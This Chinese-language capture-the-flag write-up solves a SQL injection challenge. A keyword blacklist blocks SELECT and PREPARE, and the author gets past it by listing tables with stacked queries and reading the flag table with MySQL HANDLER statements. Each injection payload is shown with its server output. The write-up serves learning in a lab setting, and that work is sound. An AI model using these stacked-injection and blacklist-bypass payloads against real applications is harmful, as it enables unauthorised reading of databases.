解题思路
打开靶场,跟之前有一题很像,应该是一个出题人
,增强了靶场

提示黑名单对于我来说太薄弱了,不是吗?
上次题我记得用的是堆叠注入+预编译或者更改表名..这次估计把这两都过滤了
没关系,我们还是常规思路起手,先判断闭合,输入
1'1'
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1''' at line 1
经典的单引号闭合了,去掉我们的1'和报错自动加的单引号,还剩下一个单引号。
永真尝试:
1' or 1=1#

尝试输入姿势,1,2,114514,都是输入判断,下面的就是会输出的字符,没啥信息。
接下来爆列:
1' order by 3#
error 1054 : Unknown column '3' in 'order clause'
1' order by 2#
2列正常回显,那么列数就是2,尝试看一下回显
1' union select 1,2#
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
出来了过滤字符,展示一下上次过滤的字符
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
嗯,把更改表名的rename还有prepare预编译过滤了,跟我前面想的差不多,但是堆叠还是没过滤,尝试堆叠
1';show tables;#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(8) "FlagHere"
}
array(1) {
[0]=>
string(5) "words"
}
出来了两个表,我估计跟上次差不多,words就是我们正在查的这个表,然后Flaghere是我们需要接近的表,但是这次预编译和更改表名的骚操作没有了。
我们再爆一下Flaghere的列:
1'; show columns from `FlagHere`;#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
可以看到有个Flag列是我们想要读取的,这里采用mysql特殊的sql语句,并不是标准语句:handler命令,
需按顺序执行:
OPEN:打开表并建立访问通道
HANDLER table_name OPEN [AS alias]; -- AS表示可以使用别名简化后续操作
READ :按索引或自然顺序读取数据
通过索引定位(支持范围查询):
HANDLER tbl READ index_name = (value) [WHERE condition] [LIMIT n];
按索引顺序遍历(如全索引扫描):
HANDLER tbl READ index_name {FIRST|NEXT|PREV|LAST} [LIMIT n];
自然行顺序扫描(类似全表扫描):
HANDLER tbl READ {FIRST|NEXT} [LIMIT n]; -- 比索引扫描更快:cite[5]
CLOSE:关闭表释放资源
HANDLER tbl CLOSE;
示例:逐行扫描表并筛选年龄为25的记录
HANDLER user OPEN;
HANDLER user READ age_index = (25) LIMIT 5; -- 返回最多5条匹配记录
HANDLER user CLOSE;
下面利用堆叠注入,制造我们的payload,这里使用自然行顺序扫描,不知道具体数据,所以前两个索引扫描用不到。
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ NEXT;HANDLER FlagHere CLOSE;#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(42) "flag{94e2684c-5c5e-4720-b06c-5ca87179f246}"
}
成功获取Flag
总结
跟上一题考察内容差不多吧,就是考察一些更偏的命令,这次是handler